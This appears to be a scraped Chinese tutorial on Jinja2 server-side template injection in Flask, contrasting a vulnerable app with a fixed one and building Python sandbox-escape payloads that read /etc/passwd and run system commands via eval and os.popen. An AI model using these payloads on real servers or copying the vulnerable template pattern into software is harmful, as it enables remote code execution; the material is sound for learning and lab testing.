Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来容许你构建一个 web 应用程序。这个 wdb 应用程序可使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构一般是很小的不依赖于外部库的框架。这既有优势也有缺点,优势是框架很轻量,更新时依赖少,而且专一安全方面的 bug,缺点是,你不得不本身作更多的工做,或经过添加插件增长本身的依赖列表。Flask 的依赖以下:html
Flask简单易学,下面是Flask版的hello world(hello.py):python
from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return "Hello World!" if __name__ == "__main__": app.run()
安装flask便可运行了:web
$ pip install Flask $ python hello.py * Running on http://localhost:5000/ *flask默认端口是5000
{# This is jinja code # 控制结构 {% for file in filenames %} # 取值 {{ file }} {% endfor %} #}
Demoflask
from jinja2 import Template t=Template('{% for i in range(10) %}{{ i }}{% endfor %}') print t.render()
先进入容器看一下web服务的代码
安全
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()
看到Template("Hello " +name),Template()彻底可控,那么就能够直接写入jinja2的模板语言,如
bash
固然发送这种状况不能由jinja2背锅,这彻底是开发人员的编码不当,若我修改以下架构
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/safe") def safe(): name = request.args.get('name', 'guest') t = Template("Hello {{n}}") return t.render(n=name) if __name__ == "__main__": app.run()
就不存在模板注入
app
在jinja2中是能够直接访问python的一些对象及其方法的,如
字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数
框架
那么如何在 Jinja2 的模板中执行 Python 代码呢?如官方的说法是须要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即须要在模板环境中对其注册
那么,如何在未注册OS模块的状况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板可以访问 Python 中的内置变量而且能够调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法ide
- __bases__
以元组返回一个类直接所继承的类- __mro__
以元组返回继承关系链- __class__
返回对象所属的类- __globals__
以dict返回函数所在模块命名空间中的全部变量- __subclasses__()
以列表返回类的子类- _builtin_
内建函数,python中能够直接运行一些函数,例如int(),list()等等,这些函数能够在__builtins__中能够查到。查看的方法是dir(__builtins__)
ps:在py3中__builtin__被换成了builtin
__builtin__ 和 __builtins__之间是什么关系呢?
- 在主模块main中,__builtins__是对内建模块__builtin__自己的引用,即__builtins__彻底等价于__builtin__,两者彻底是一个东西,不分彼此。
- 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__自己
不能像字符串对象,列表对象那样直接引用(''
[]
),那如何拿到file对象呢?就用上面给的属性和方法,如
for c in {}.__class__.__base__.__subclasses__(): if(c.__name__=='file'): print(c) print c('test.txt').readlines()
该代码从列表对象获取其类,再取基类(object),再取object的全部子类,从子类中寻找file类,若是找到就使用其构造方法建立对象后再用readlines读取文件内容
用jinja2语法就是
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='file' %} {{"find!"}} {{ c("/etc/passwd").readlines() }} {% endif %} {% endfor %}
在本机测试没有问题,可是在这个doker容器里不知道为何找不见file类
emmm,经测试发如今python3中并无file类,因此上述读取文件的方法只适用于python2
那么就有必要找到python2/3通用的方法,就直接找eval,有了这个还有什么不能作
for c in ().__class__.__bases__[0].__subclasses__(): try: if '__builtins__' in c.__init__.__globals__.keys(): print(c.name) except: pass
找到了一个python2/3都有__builtins__的类 _IterationGuard
因而python2/3通用的执行任意代码
for c in ().__class__.__bases__[0].__subclasses__(): if c.__name__=='_IterationGuard': c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
用jinja的语法即为(执行命令使用os.popen('whoami').read()才有执行结果的回显)
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }} {% endif %} {% endfor %}
我本机上存在中文编码的问题,因此命令执行结果带中文的话会出错,因此就用echo l3yx展现下执行命令的效果
原理和上面大同小异,vulhub的文档中用的就是这种
payload
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
参考:
Server-Side Template Injection
利用 Python 特性在 Jinja2 模板中执行任意代码
用python继承链搞事情 (膜 Orz)